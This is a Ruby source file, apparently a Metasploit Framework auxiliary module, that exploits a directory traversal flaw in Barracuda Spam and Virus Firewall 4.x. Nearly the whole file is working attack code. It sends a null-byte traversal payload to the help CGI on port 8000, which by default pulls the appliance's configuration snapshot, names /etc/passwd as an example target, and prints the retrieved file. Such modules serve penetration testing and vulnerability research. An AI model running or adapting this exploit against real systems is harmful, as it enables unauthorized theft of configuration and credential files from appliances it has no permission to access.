99 lines
2.8 KiB
Ruby
99 lines
2.8 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Scanner
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def initialize
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super(
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'Name' => 'Barracuda Spam / Virus Firewall "locale" Directory Traversal',
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'Version' => '$Revision$',
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'Description' => %q{
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This module exploits a directory traversal vulnerability present in
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Barracuda Spam and Virus Firewall version 4.x. By default, this module
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will attempt to download the Barracuda configuration file.
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},
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'References' =>
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[
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['OSVDB', '68301'],
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['URL', 'http://secunia.com/advisories/41609/'],
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['URL', 'http://www.exploit-db.com/exploits/15130/'],
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],
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'Author' =>
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[
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'==[ Alligator Security Team ]==',
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'Tiago Ferreira <tiago.ccna[at]gmail.com>'
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],
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'DisclosureDate' => 'Oct 08 2010',
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'License' => MSF_LICENSE
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)
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register_options(
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[
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Opt::RPORT(8000),
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OptString.new('FILE', [ true, "Define the remote file to view, ex:/etc/passwd", '/mail/snapshot/config.snapshot']),
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OptString.new('URI', [true, 'Barracuda vulnerable URI path', '/cgi-mod/view_help.cgi']),
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], self.class)
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end
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def target_url
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"http://#{vhost}#{datastore['URI']}:#{rport}"
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end
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def run_host(ip)
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uri = datastore['URI']
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file = datastore['FILE']
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payload = "?locale=/../../../../../../..#{file}%00"
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print_status("#{target_url} - Barracuda - Checking if remote server is vulnerable")
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res = send_request_raw(
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{
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'method' => 'GET',
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'uri' => uri + payload,
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}, 25)
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if (res and res.code == 200 and res.body)
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if res.body.match(/\<html\>(.*)\<\/html\>/im)
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html = $1
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if res.body =~ /barracuda\.css/
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if html.length > 100
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file_data = html.gsub(%r{</?[^>]+?>}, '')
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print_good("#{target_url} - Barracuda - Vulnerable")
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print_good("#{target_url} - Barracuda - File Output:\n" + file_data + "\n")
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else
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print_error("#{target_url} - Barracuda - Not vulnerable: HTML too short?")
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end
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elsif res.body =~ /help_page/
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print_error("#{target_url} - Barracuda - Not vulnerable: Patched?")
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else
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print_error("#{target_url} - Barracuda - File not found or permission denied")
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end
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else
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print_error("#{target_url} - Barracuda - No HTML was returned")
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end
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else
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print_error("#{target_url} - Barracuda - Unrecognized #{res.code} response")
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end
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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rescue ::Timeout::Error, ::Errno::EPIPE
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end
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end
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